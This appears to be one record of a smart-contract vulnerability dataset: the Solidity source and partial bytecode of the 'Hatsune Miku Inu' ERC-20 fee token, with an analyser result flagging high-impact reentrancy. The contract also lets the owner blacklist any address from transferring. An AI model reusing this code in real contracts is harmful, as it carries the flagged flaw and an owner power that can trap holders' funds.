1115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a6984848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a1d565b5060006112198486611cc3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c64565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cda565b816001815181106113c7576113c7611c64565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cf7565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a6957610a69600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165f565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c8761168d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ea565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d908661172c565b6001600160a01b0389166000908152600260205260409020556115bf8161178b565b6115c984836117d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163b82826114ba565b8210156116565750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116805760405162461bcd60e51b81526004016106209190611a1d565b5060006112198486611d68565b60008060008060008060008060006116aa8a600c54600d546117f9565b92509250925060006116ba611497565b905060008060006116cd8e87878761184e565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b6000806117398385611cab565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611795611497565b905060006117a3838361189e565b306000908152600260205260409020549091506117c0908261172c565b30600090815260026020526040902055505050565b6006546117e290836116ea565b6006556007546117f2908261172c565b6007555050565b6000808080611813606461180d898961189e565b906114ba565b90506000611826606461180d8a8961189e565b9050600061183e826118388b866116ea565b906116ea565b9992985090965090945050505050565b600080808061185d888661189e565b9050600061186b888761189e565b90506000611879888861189e565b9050600061188b8261183886866116ea565b939b939a50919850919650505050505050565b6000826118ad575060006106a6565b60006118b98385611d8a565b9050826118c68583611d68565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195381611933565b919050565b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a961191d565b8060051b604051601f19603f830116810181811085821117156119ce576119ce61191d565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a0285611948565b845293850193928501926119f1565b98975050505050505050565b600060208083528351808285015260005b81811015611a4a57858101830151858201604001528201611a2e565b81811115611a5c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8557600080fd5b8235611a9081611933565b946020939093013593505050565b600080600060608486031215611ab357600080fd5b8335611abe81611933565b92506020840135611ace81611933565b929592945050506040919091013590565b600060208284031215611af157600080fd5b81356112d981611933565b8035801515811461195357600080fd5b600060208284031215611b1e57600080fd5b6112d982611afc565b600060208284031215611b3957600080fd5b5035919050565b60008060008060808587031215611b5657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8757600080fd5b833567ffffffffffffffff80821115611b9f57600080fd5b818601915086601f830112611bb357600080fd5b813581811115611bc257600080fd5b8760208260051b8501011115611bd757600080fd5b602092830195509350611bed9186019050611afc565b90509250925092565b60008060408385031215611c0957600080fd5b8235611c1481611933565b91506020830135611c2481611933565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca457611ca4611c7a565b5060010190565b60008219821115611cbe57611cbe611c7a565b500190565b600082821015611cd557611cd5611c7a565b500390565b600060208284031215611cec57600080fd5b81516112d981611933565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037dd44208c3b7229cacf265082a836fde327286dd277e219b50cd4769413018f64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,539 |
0x20237946dfcf551cc5baf08cb3fc64aa07a4d32a | /**
*Submitted for verification at Etherscan.io on 2021-05-29
*/
//Telegram: t.me/hatsunemikuinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HatsuneMikuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Hatsune Miku Inu";
string private constant _symbol = 'MIKU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f48617473756e65204d696b7520496e7500000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d494b5500000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffff